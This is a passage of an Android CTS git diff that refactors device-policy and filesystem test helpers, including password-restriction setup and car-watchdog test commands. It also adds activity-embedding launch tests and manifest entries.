     private static final TestAppProvider sTestAppProvider = new TestAppProvider();
 
-    // TODO(b/198420874): rather than querying by package name, query apps by intents they need to
-    // handle: "com.android.testapp.SOME_ACTION" and "android.intent.action.PICK"
-    private static final TestApp sTestApp = sTestAppProvider.query().wherePackageName()
-            .isEqualTo("com.android.bedstead.testapp.EmptyTestApp2").get();
+    private static final TestApp sTestApp = sTestAppProvider.query().whereActivities().contains(
+            activity().intentFilters().contains(
+                    intentFilter().actions().contains("com.android.testapp.SOME_ACTION"),
+                    intentFilter().actions().contains("android.intent.action.PICK")
+            )
+    ).get();
 
     // Known action that is handled in the opposite profile, used to query forwarder activity.
     private static final String CROSS_PROFILE_ACTION = "com.android.testapp.SOME_ACTION";
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
index 8f68f36..e212674 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DeviceOwnerPrerequisitesTest.java
@@ -16,6 +16,8 @@
 
 package android.devicepolicy.cts;
 
+import static com.android.queryable.queries.ServiceQuery.service;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.assertThrows;
@@ -55,13 +57,15 @@
     private static final TestAppProvider sTestAppProvider = new TestAppProvider();
     private static final TestApp sAccountManagementApp = sTestAppProvider
             .query()
-            .wherePackageName()
-            // TODO(b/198423919): Support Querying services in TestApp
-            .isEqualTo("com.android.bedstead.testapp.AccountManagementApp")
+            // TODO(b/198417584): Support Querying XML resources in TestApp.
+            // TODO(b/198590265) Filter for the correct account type.
+            .whereServices().contains(
+                    service().serviceClass().className()
+                            .isEqualTo("com.android.bedstead.testapp.AccountManagementApp"
+                                    + ".TestAppAccountAuthenticatorService"))
             .get();
     private static final TestApp sDpcApp = sTestAppProvider
             .query()
-            // TODO(b/198423919): Support Querying services in TestApp
             .wherePackageName().isEqualTo(RemoteDpc.DPC_COMPONENT_NAME.getPackageName())
             .get();
 
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ResetPasswordWithTokenTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ResetPasswordWithTokenTest.java
index 1487dfe..5614255 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/ResetPasswordWithTokenTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ResetPasswordWithTokenTest.java
@@ -35,6 +35,7 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.KeyguardManager;
+import android.app.admin.RemoteDevicePolicyManager;
 import android.content.Context;
 import android.stats.devicepolicy.EventId;
 
@@ -159,8 +160,13 @@
             // Add complex password restriction
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(
-                    DPC_COMPONENT_NAME, 6);
+            setComplexPasswordRestrictions(/* minLength */ 6,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
 
             // Password cannot be set as it does not satisfy the password restriction
             assertThat(sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
@@ -180,8 +186,13 @@
             // Add complex password restriction
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(
-                    DPC_COMPONENT_NAME, 6);
+            setComplexPasswordRestrictions(/* minLength */ 6,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
 
             // Password can be set as it satisfies the password restriction
             assertThat(sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(
@@ -222,8 +233,13 @@
             // Add complex password restriction
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(
-                    DPC_COMPONENT_NAME, 6);
+            setComplexPasswordRestrictions(/* minLength */ 6,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
 
             // Password is insufficient because it does not satisfy the password restriction
             assertThat(sDeviceState.dpc().devicePolicyManager()
@@ -245,8 +261,13 @@
             // Add complex password restriction
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(
-                    DPC_COMPONENT_NAME, 6);
+            setComplexPasswordRestrictions(/* minLength */ 6,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
 
             // Password is sufficient because it satisfies the password restriction
             assertThat(sDeviceState.dpc().devicePolicyManager()
@@ -265,8 +286,13 @@
         try {
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(DPC_COMPONENT_NAME,
                     PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumSymbols(
-                    DPC_COMPONENT_NAME, 1);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 1,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
             sDeviceState.dpc().devicePolicyManager().resetPasswordWithToken(DPC_COMPONENT_NAME,
                     COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_7, TOKEN, /* flags = */ 0);
             // Set a slightly stronger password restriction
@@ -381,6 +407,13 @@
         try {
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
 
             assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
             assertPasswordSucceeds(ALPHABETIC_PASSWORD_LENGTH_4);
@@ -417,8 +450,13 @@
             // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(
-                    DPC_COMPONENT_NAME, 6);
+            setComplexPasswordRestrictions(/* minLength */ 6,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
 
             assertPasswordSucceeds(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_7);
             assertPasswordFails(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_4);
@@ -454,8 +492,13 @@
             // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumUpperCase(
-                    DPC_COMPONENT_NAME, 1);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 1);
 
             assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_WITH_UPPERCASE_LENGTH_4);
             assertPasswordFails(ALPHANUMERIC_PASSWORD_LENGTH_4);
@@ -491,8 +534,13 @@
             // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLowerCase(
-                    DPC_COMPONENT_NAME, 1);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 1,
+                    /* minUpperCase */ 0);
 
             assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
             assertPasswordFails(ALPHABETIC_PASSWORD_ALL_UPPERCASE_LENGTH_4);
@@ -528,8 +576,13 @@
             // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLetters(
-                    DPC_COMPONENT_NAME, 1);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 1,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
 
             assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
             assertPasswordFails(NUMERIC_PASSWORD_LENGTH_4);
@@ -565,8 +618,13 @@
             // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumNumeric(
-                    DPC_COMPONENT_NAME, 1);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 1,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
 
             assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
             assertPasswordFails(ALPHABETIC_PASSWORD_LENGTH_4);
@@ -602,8 +660,13 @@
             // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumSymbols(
-                    DPC_COMPONENT_NAME, 1);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 1,
+                    /* minNonLetter */ 0,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
 
             assertPasswordSucceeds(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_4);
             assertPasswordFails(ALPHANUMERIC_PASSWORD_LENGTH_4);
@@ -640,8 +703,13 @@
             // The restriction is only imposed if PASSWORD_QUALITY_COMPLEX is set
             sDeviceState.dpc().devicePolicyManager().setPasswordQuality(
                     DPC_COMPONENT_NAME, PASSWORD_QUALITY_COMPLEX);
-            sDeviceState.dpc().devicePolicyManager().setPasswordMinimumNonLetter(
-                    DPC_COMPONENT_NAME, 1);
+            setComplexPasswordRestrictions(/* minLength */ 0,
+                    /* minSymbols */ 0,
+                    /* minNonLetter */ 1,
+                    /* minNumeric */ 0,
+                    /* minLetters */ 0,
+                    /* minLowerCase */ 0,
+                    /* minUpperCase */ 0);
 
             assertPasswordSucceeds(COMPLEX_PASSWORD_WITH_SYMBOL_LENGTH_4);
             assertPasswordSucceeds(ALPHANUMERIC_PASSWORD_LENGTH_4);
@@ -842,13 +910,20 @@
                 DPC_COMPONENT_NAME, PASSWORD_QUALITY_UNSPECIFIED);
         sDeviceState.dpc().devicePolicyManager().setRequiredPasswordComplexity(
                 PASSWORD_COMPLEXITY_NONE);
-        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLength(DPC_COMPONENT_NAME, 0);
-        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumSymbols(DPC_COMPONENT_NAME, 0);
-        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumNonLetter(DPC_COMPONENT_NAME, 0);
-        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumNumeric(DPC_COMPONENT_NAME, 0);
-        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLetters(DPC_COMPONENT_NAME, 0);
-        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumLowerCase(DPC_COMPONENT_NAME, 0);
-        sDeviceState.dpc().devicePolicyManager().setPasswordMinimumUpperCase(DPC_COMPONENT_NAME, 0);
+        setComplexPasswordRestrictions(/* minLength */ 0, /* minSymbols */ 0, /* minNonLetter */ 0,
+                /* minNumeric */ 0, /* minLetters */ 0, /* minLowerCase */ 0, /* minUpperCase */ 0);
+    }
+
+    private void setComplexPasswordRestrictions(int minLength, int minSymbols, int minNonLetter,
+            int minNumeric, int minLetters, int minLowerCase, int minUpperCase) {
+        RemoteDevicePolicyManager dpm = sDeviceState.dpc().devicePolicyManager();
+        dpm.setPasswordMinimumLength(DPC_COMPONENT_NAME, minLength);
+        dpm.setPasswordMinimumSymbols(DPC_COMPONENT_NAME, minSymbols);
+        dpm.setPasswordMinimumNonLetter(DPC_COMPONENT_NAME, minNonLetter);
+        dpm.setPasswordMinimumNumeric(DPC_COMPONENT_NAME, minNumeric);
+        dpm.setPasswordMinimumLetters(DPC_COMPONENT_NAME, minLetters);
+        dpm.setPasswordMinimumLowerCase(DPC_COMPONENT_NAME, minLowerCase);
+        dpm.setPasswordMinimumUpperCase(DPC_COMPONENT_NAME, minUpperCase);
     }
 
     private void removePasswordAndToken(byte[] token) {
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
index daccee0..c31cc34 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/ScreenCaptureDisabledTest.java
@@ -51,6 +51,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.time.Duration;
+
 
 @RunWith(BedsteadJUnit4.class)
 public class ScreenCaptureDisabledTest {
@@ -186,6 +188,7 @@
         try (TestAppInstanceReference testApp = sTestApp.install()) {
             testApp.activities().any().start();
             return Poll.forValue(mUiAutomation::takeScreenshot)
+                    .timeout(Duration.ofSeconds(60))
                     .toBeNull()
                     .await();
         }
diff --git a/tests/filesystem/src/android/filesystem/cts/CarTestUtil.java b/tests/filesystem/src/android/filesystem/cts/CarTestUtil.java
index c2290cb..168d26f 100644
--- a/tests/filesystem/src/android/filesystem/cts/CarTestUtil.java
+++ b/tests/filesystem/src/android/filesystem/cts/CarTestUtil.java
@@ -30,10 +30,13 @@
 import java.io.IOException;
 
 final class CarTestUtil {
-    //TODO (b/202761235) replace the string with the watchdog service disabling shell command
-    private static final String DISABLE_CAR_WATCHDOG_COMMAND = "cmd disable watchdog";
-    //TODO (b/202761235) replace the string with the watchdog service enabling shell command
-    private static final String ENABLE_CAR_WATCHDOG_COMMAND = "cmd enable watchdog";
+    private static final String ANDROID_FILESYSTEM_CTS_PKG_NAME = "android.filesystem.cts";
+    private static final String SET_CTS_PKG_AS_NOT_KILLABLE_COMMAND =
+            "cmd car_service watchdog-control-package-killable-state false "
+            + ANDROID_FILESYSTEM_CTS_PKG_NAME;
+    private static final String SET_CTS_PKG_AS_KILLABLE_COMMAND =
+            "cmd car_service watchdog-control-package-killable-state true "
+            + ANDROID_FILESYSTEM_CTS_PKG_NAME;
 
     private static final String PERMISSION_USE_CAR_WATCHDOG =
             "android.car.permission.USE_CAR_WATCHDOG";
@@ -60,26 +63,23 @@
     public void setUp() throws Exception {
         if (mIsAutomotive) {
             assumeFalse("For automotive, instant app is skipped", mIsInstantApp);
-            disableWatchdogService();
+            setCtsPackageAsNotKillable();
         }
     }
 
     public void tearDown() throws Exception {
         if (mIsAutomotive) {
-            enableWatchdogService();
+            setCtsPackageAsKillable();
         }
     }
 
-    protected void disableWatchdogService() throws Exception {
-        // TODO (b/202761235) remove the assumption after watchdog disabling is implemented.
-        assumeFalse("Enable tests over Auto after watchdog is disabled", mIsAutomotive);
-
-        executeShellCommandWithPermission(DISABLE_CAR_WATCHDOG_COMMAND,
+    protected void setCtsPackageAsNotKillable() throws Exception {
+        executeShellCommandWithPermission(SET_CTS_PKG_AS_NOT_KILLABLE_COMMAND,
                 PERMISSION_USE_CAR_WATCHDOG);
     }
 
-    protected void enableWatchdogService() throws Exception {
-        executeShellCommandWithPermission(ENABLE_CAR_WATCHDOG_COMMAND,
+    protected void setCtsPackageAsKillable() throws Exception {
+        executeShellCommandWithPermission(SET_CTS_PKG_AS_KILLABLE_COMMAND,
                 PERMISSION_USE_CAR_WATCHDOG);
     }
 
diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml
index d2bc2d0..b3b6094 100644
--- a/tests/framework/base/windowmanager/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/AndroidManifest.xml
@@ -309,6 +309,8 @@
         <activity android:name="android.server.wm.WindowInsetsPolicyTest$ImmersiveFullscreenTestActivity"
              android:documentLaunchMode="always"
              android:theme="@style/no_animation"/>
+        <activity android:name="android.server.wm.WindowInsetsPolicyTest$NaturalOrientationTestActivity"
+                  android:screenOrientation="nosensor"/>
         <activity android:name="android.server.wm.LayoutTests$TestActivity"
              android:theme="@style/no_animation"/>
         <activity android:name="android.server.wm.LocationOnScreenTests$TestActivity"
@@ -455,6 +457,15 @@
                   android:screenOrientation="portrait"
                   android:exported="true"/>
 
+        <activity android:name="android.server.wm.CompatChangeTests$NonResizeableLandscapeActivity"
+                  android:resizeableActivity="false"
+                  android:screenOrientation="landscape"
+                  android:exported="true"/>
+
+        <activity android:name="android.server.wm.CompatChangeTests$NonResizeableNonFixedOrientationActivity"
+                  android:resizeableActivity="false"
+                  android:exported="true"/>
+
         <activity android:name="android.server.wm.CompatChangeTests$NonResizeableAspectRatioActivity"
                   android:resizeableActivity="false"
                   android:screenOrientation="portrait"
diff --git a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
index 8f88c2c..3b3909a 100644
--- a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
@@ -30,6 +30,9 @@
                   android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
         />
         <activity android:name="android.server.wm.jetpack.utils.TestGetWindowLayoutInfoActivity" />
+        <activity android:name="android.server.wm.jetpack.utils.TestActivityWithId"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
+        />
     </application>
 
     <!--  self-instrumenting test package. -->
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
new file mode 100644
index 0000000..b5c1d3f7
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLaunchTests.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.TAG;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityAndVerifySplit;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNotNull;
+
+import android.app.Activity;
+import android.util.Log;
+import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
+import android.server.wm.jetpack.utils.TestActivityWithId;
+import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+import android.server.wm.jetpack.utils.TestValueCountConsumer;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.window.extensions.WindowExtensions;
+import androidx.window.extensions.embedding.ActivityEmbeddingComponent;
+import androidx.window.extensions.embedding.SplitInfo;
+import androidx.window.extensions.embedding.SplitPairRule;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Tests for the {@link androidx.window.extensions} implementation provided on the device (and only
+ * if one is available) for the Activity Embedding functionality. Specifically tests activity
+ * launch scenarios.
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerJetpackTestCases:ActivityEmbeddingLaunchTests
+ */
+@RunWith(AndroidJUnit4.class)
+public class ActivityEmbeddingLaunchTests extends WindowManagerJetpackTestBase {
+
+    private ActivityEmbeddingComponent mActivityEmbeddingComponent;
+    private TestValueCountConsumer<List<SplitInfo>> mSplitInfoConsumer;
+
+    @Before
+    public void setUp() {
+        super.setUp();
+        assumeExtensionSupportedDevice();
+        WindowExtensions windowExtensions = getWindowExtensions();
+        assumeNotNull(windowExtensions);
+        mInstrumentation.runOnMainSync(new Runnable() {
+            @Override
+            public void run() {
+                mActivityEmbeddingComponent = windowExtensions.getActivityEmbeddingComponent();
+            }
+        });
+        assumeNotNull(mActivityEmbeddingComponent);
+        mSplitInfoConsumer = new TestValueCountConsumer<>();
+        mActivityEmbeddingComponent.setSplitInfoCallback(mSplitInfoConsumer);
+    }
+
+    /**
+     * Tests launching activities to the side from the primary activity.
+     */
+    @Test
+    public void testPrimaryActivityLaunchToSide() {
+        Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+
+        SplitPairRule splitPairRule = createWildcardSplitPairRule();
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        // Launch multiple activities to the side from the primary activity and verify that they
+        // all successfully split with the primary activity.
+        final int numActivitiesToLaunch = 4;
+        for (int i = 0; i < numActivitiesToLaunch; i++) {
+            Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                    TestActivityWithId.class, splitPairRule,
+                    Integer.toString(i) /* secondActivityId */, mSplitInfoConsumer);
+        }
+    }
+
+    /**
+     * Tests launching activities to the side from the primary activity where the secondary stack
+     * is cleared after each launch.
+     */
+    @Test
+    public void testPrimaryActivityLaunchToSideClearTop() {
+        Activity primaryActivity = startActivityNewTask(TestConfigChangeHandlingActivity.class);
+
+        SplitPairRule splitPairRule = createWildcardSplitPairRule(true /* shouldClearTop */);
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule,
+                "initialSecondaryActivity" /* secondActivityId */, mSplitInfoConsumer);
+
+        // Launch multiple activities to the side from the primary activity and verify that they
+        // all successfully split with the primary activity and that the previous secondary activity
+        // is finishing.
+        final int numActivitiesToLaunch = 4;
+        Activity prevSecondaryActivity;
+        for (int i = 0; i < numActivitiesToLaunch; i++) {
+            prevSecondaryActivity = secondaryActivity;
+            // Expect the split info consumer to return a value after the 3rd callback because the
+            // 1st callback will return empty split states due to clearing the previous secondary
+            // container, the 2nd callback will return a non-empty primary container with an empty
+            // secondary container because the primary container was just registered, and finally
+            // the 3rd callback will contain the secondary activity in the secondary container.
+            secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                    TestActivityWithId.class, splitPairRule,
+                    Integer.toString(i) /* secondActivityId */, mSplitInfoConsumer,
+                    3 /* expectedCallbackCount */);
+            // The previous secondary activity should be finishing because shouldClearTop was set
+            // to true, which clears the secondary container before launching the next secondary
+            // activity.
+            assertTrue(prevSecondaryActivity.isFinishing());
+        }
+
+        // Verify that the last reported split info only contains the final split
+        final List<SplitInfo> lastReportedSplitInfo = mSplitInfoConsumer.getLastReportedValue();
+        assertEquals(1, lastReportedSplitInfo.size());
+        final SplitInfo splitInfo = lastReportedSplitInfo.get(0);
+        assertEquals(1, splitInfo.getPrimaryActivityStack().getActivities().size());
+        assertEquals(1, splitInfo.getSecondaryActivityStack().getActivities().size());
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
index b99ce19..d8c804f 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ExtensionWindowLayoutComponentTest.java
@@ -58,7 +58,7 @@
 import android.server.wm.jetpack.utils.WindowManagerJetpackTestBase;
 import android.server.wm.jetpack.utils.TestActivity;
 import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
-import android.server.wm.jetpack.utils.TestWindowLayoutInfoConsumer;
+import android.server.wm.jetpack.utils.TestValueCountConsumer;
 import android.platform.test.annotations.Presubmit;
 
 import androidx.annotation.NonNull;
@@ -113,7 +113,8 @@
 
     @Test
     public void testWindowLayoutComponent_WindowLayoutInfoListener() {
-        TestWindowLayoutInfoConsumer windowLayoutInfoConsumer = new TestWindowLayoutInfoConsumer();
+        TestValueCountConsumer<WindowLayoutInfo> windowLayoutInfoConsumer =
+                new TestValueCountConsumer<>();
         // Test that adding and removing callback succeeds
         mWindowLayoutComponent.addWindowLayoutInfoListener(mActivity, windowLayoutInfoConsumer);
         mWindowLayoutComponent.removeWindowLayoutInfoListener(windowLayoutInfoConsumer);
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
new file mode 100644
index 0000000..fbb2a31
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ActivityEmbeddingUtil.java
@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.getMaximumActivityBounds;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityFromActivity;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.app.Application;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Looper;
+import android.util.LayoutDirection;
+import android.util.Log;
+import android.util.Pair;
+import android.view.WindowMetrics;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.window.extensions.WindowExtensions;
+import androidx.window.extensions.embedding.ActivityEmbeddingComponent;
+import androidx.window.extensions.embedding.EmbeddingRule;
+import androidx.window.extensions.embedding.SplitInfo;
+import androidx.window.extensions.embedding.SplitPairRule;
+import androidx.window.extensions.embedding.SplitRule;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Predicate;
+
+/**
+ * Utility class for activity embedding tests.
+ */
+public class ActivityEmbeddingUtil {
+
+    public static final String TAG = "ActivityEmbeddingTests";
+    public static final long WAIT_FOR_RESUMED_TIMEOUT_MS = 3000;
+    public static final float DEFAULT_SPLIT_RATIO = 0.5f;
+
+    @NonNull
+    public static SplitPairRule createWildcardSplitPairRule(boolean shouldClearTop) {
+        // Any activity be split with any activity
